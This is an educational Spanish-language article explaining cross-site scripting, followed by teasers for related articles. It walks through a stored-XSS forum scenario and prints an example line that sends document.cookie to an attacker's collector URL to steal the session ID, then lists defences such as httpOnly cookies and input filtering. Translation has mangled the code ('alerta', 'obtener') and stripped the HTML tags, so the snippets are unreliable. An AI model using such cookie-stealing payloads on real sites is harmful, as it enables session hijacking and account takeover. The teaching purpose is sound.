Red Hot Cyber
La ciberseguridad se comparte. Reconozca el riesgo, combátalo, comparta sus experiencias y anime a otros a hacerlo mejor que usted.
Buscar
320×100
UtiliaCS 970x120
¿Qué es el Cross-Site Scripting? Un artículo para ayudarte a entenderlo de forma sencilla.

¿Qué es el Cross-Site Scripting? Un artículo para ayudarte a entenderlo de forma sencilla.

Davide Cavallini : 17 noviembre 2025 21:58

Autor : Davide Cavallini

Hoy intentaré utilizar la misma dialéctica ( como se hizo anteriormente en el artículo sobre inyección SQL ) y explicar de forma sencilla qué es el Cross-Site Scripting.

El Cross-Site Scripting, también conocido como XSS, es un tipo de ataque que no se dirige al servidor, como las inyecciones SQL, sino al cliente. Se trata de un ataque basado en JavaScript que se ejecuta en el navegador del usuario ( Chrome, Firefox, Internet Explorer, etc. ) al visitar un sitio web.

Esto puede parecer un tipo de ataque inútil, ya que el navegador cuenta con varias protecciones que resguardan la lectura de archivos locales y previenen diversas acciones inseguras.

Sin embargo, esto es completamente erróneo. De hecho , el Cross-Site Scripting puede convertirse en un ataque realmente peligroso, y con eso quiero decir que puede ser tan peligroso como los ataques directos a los servidores.

Un ejemplo típico de XSS implica el robo del ID de sesión que se encuentra dentro de la cookie.

Vale, te preguntarás, ¿pero cómo funciona? Intentaré explicarlo de forma sencilla, empezando por la estructura básica de una página HTML.

La página HTML

Una página HTML no es más que una emulación de una página impresa real —una vez renderizada—, como la de un libro. Por lo tanto, contendrá algunos elementos estructurales de las páginas, tales como:

  • título (o encabezado)
  • párrafo
  • imagen
  • etc.

Obviamente, para poder formatear todo esto adecuadamente, existe un código que el navegador no muestra, pero que se «interpreta» para mostrar la página de forma clara e intuitiva.

Este código permite a quienes crean la página HTML utilizar una serie de «etiquetas» o abreviaturas, que se utilizan para insertar estos elementos estructurales dentro de la página.

Por ejemplo:

  • El encabezado 1 (el más grande) se convertirá en la etiqueta

    y se cerrará con la etiqueta

    . El título se escribirá entre las etiquetas de apertura y cierre.
  • El párrafo será

    contenido

  • La imagen será
  • etcétera

Las páginas HTML son dinámicas

Una vez finalizado el período «jurásico» de la web, cuando las páginas HTML eran estáticas (web 1.0), pasamos a utilizar código adicional para hacerlas dinámicas.

Una parte muy importante de una página HTML, que le confiere su llamado «dinamismo», es JavaScript, que se encuentra dentro de la etiqueta .

Estos scripts, que se ejecutan en el navegador del usuario, son programas que dan diversas instrucciones a la página. Pueden animar la página, enviar datos estadísticos a servidores propios o externos mediante llamadas HTTP, geolocalizar al usuario y realizar muchas otras funciones, desde la gestión de cookies hasta la creación de videojuegos completos.

Un ejemplo clásico de código JavaScript es el siguiente:

 
alerta("este es un aviso que aparece en la página");

Se ha detectado una vulnerabilidad de secuencias de comandos entre sitios (XSS) almacenada en un foro clásico.

Las cookies, por otro lado, son simples archivos de texto que se almacenan en el navegador y que se utilizan para mantener la persistencia de cierta información del usuario.

La página HTML puede tener características que una hoja de cálculo no puede tener, como un cuadro para escribir un comentario debajo de una publicación, al igual que los foros clásicos.

Así pues, después de escribir un comentario en este cuadro y hacer clic en «enviar», el contenido que haya escrito será procesado por el servidor y se convertirá en el contenido de la propia página.

Es aquí donde, si el código no se desarrolla correctamente, se manifiesta el «XSS almacenado» más letal, es decir, JavaScript malicioso que permanece guardado dentro de la página.

Un ejemplo típico de un script XSS es el que mencioné anteriormente que roba identificadores de sesión.

El ID de sesión no es más que una cadena aleatoria de muchos caracteres que se asocia de forma única a cada usuario que inicia sesión en el área de clientes, y sirve para recordarle al servidor que el usuario siempre es él o ella cada vez que cambia de página.

El ID de sesión se almacena dentro de la cookie en un formato similar a este:

 PHPSESSID=836383abt6393736hdv38ndh

Dado que JavaScript puede manipular las cookies, estos scripts XSS maliciosos pueden obtener el ID de sesión y enviarlo mediante una llamada HTTP al servidor del atacante.

Así, cuando el administrador del foro inicia sesión en su área de administración y accede a la página donde otro usuario ha publicado un XSS almacenado, sin saberlo le pasará el ID de sesión al hacker, quien lo guardará en su cookie y se convertirá él mismo en el administrador (como si hubiera robado el ID).

Resumen del ataque anterior:

  • El atacante escribe código Javascript que envía el ID de sesión y lo inserta en una publicación de una página de foro afectada por la vulnerabilidad de scripting entre sitios almacenado (SXS).
  • El administrador inicia sesión y visita la página donde se encuentra la publicación que contiene el JavaScript malicioso.
  • El JavaScript malicioso implantado en la página roba la cookie del administrador (ya que se ejecuta en el navegador del administrador), que luego envía esa cookie al servidor controlado por el hacker.
  • Una vez que el hacker ha adquirido el ID de sesión, se convierte en el administrador con plena posesión del servidor.

Por lo tanto, nunca debes subestimar este tipo de ataque.

Un ejemplo práctico

Veamos ahora otro ejemplo y supongamos que tenemos un área de texto para comentar una publicación donde insertaremos el siguiente código:

 
obtener('http://localhost/getcookie.php?c='+document.cookie.toString())
  • Al hacer esto, el servidor del atacante recibirá todas las cookies del usuario que ha iniciado sesión a través de una solicitud HTTP GET, en el parámetro c.

La mejor manera de protegerse es utilizar métodos de autenticación seguros (por ejemplo, Liveuser en PHP), establecer atributos en la cookie como httpOnly, que la hace inaccesible desde JavaScript, y, sobre todo, filtrar los datos de entrada con funciones que se encuentran en muchas bibliotecas especiales creadas específicamente para limitar este tipo de ataque.

Immagine del sitoDavide Cavallini


Lista degli articoli

Artículos destacados

Immagine del sito
Aplicaciones espía: Cómo funciona el software espía y por qué supone un riesgo para la privacidad
Di Redazione RHC - 17/11/2025

El software espía (también conocido como aplicaciones espía) representa una de las amenazas más insidiosas y peligrosas de la era digital. Se trata de programas maliciosos diseñados para infiltra...

Immagine del sito
Google está listo para lanzar Gemini 3.0: ¿será realmente el punto de inflexión en la carrera de la IA?
Di Redazione RHC - 16/11/2025

Google se acerca a la presentación oficial de Gemini 3.0 , el nuevo modelo de inteligencia artificial que representa uno de los pasos más significativos en la estrategia de la compañía. Según inf...

Immagine del sito
Sam Altman y su esposo Oliver y el sueño de los niños genéticamente modificados.
Di Redazione RHC - 16/11/2025

La búsqueda de la inmortalidad es una obsesión generalizada en Silicon Valley. Asimismo, la idea de perfeccionar a los niños mediante la modificación genética es otra. Sam Altman, el hombre que p...

Immagine del sito
Quishing: Qué es, cómo funciona y cómo protegerse.
Di Redazione RHC - 15/11/2025

El quishing es una forma emergente de ciberataque que combina el phishing tradicional con el uso de códigos QR , herramientas ya conocidas por muchos. El término « quishing » es una combinación d...

Immagine del sito
¿Qué son las operaciones psicológicas (PsyOps)? Explorando la manipulación mental en la era digital.
Di Redazione RHC - 15/11/2025

Las operaciones psicológicas, comúnmente conocidas como PsyOps, constituyen un elemento significativo y a menudo poco comprendido de la estrategia militar y de seguridad . Estas operaciones implican...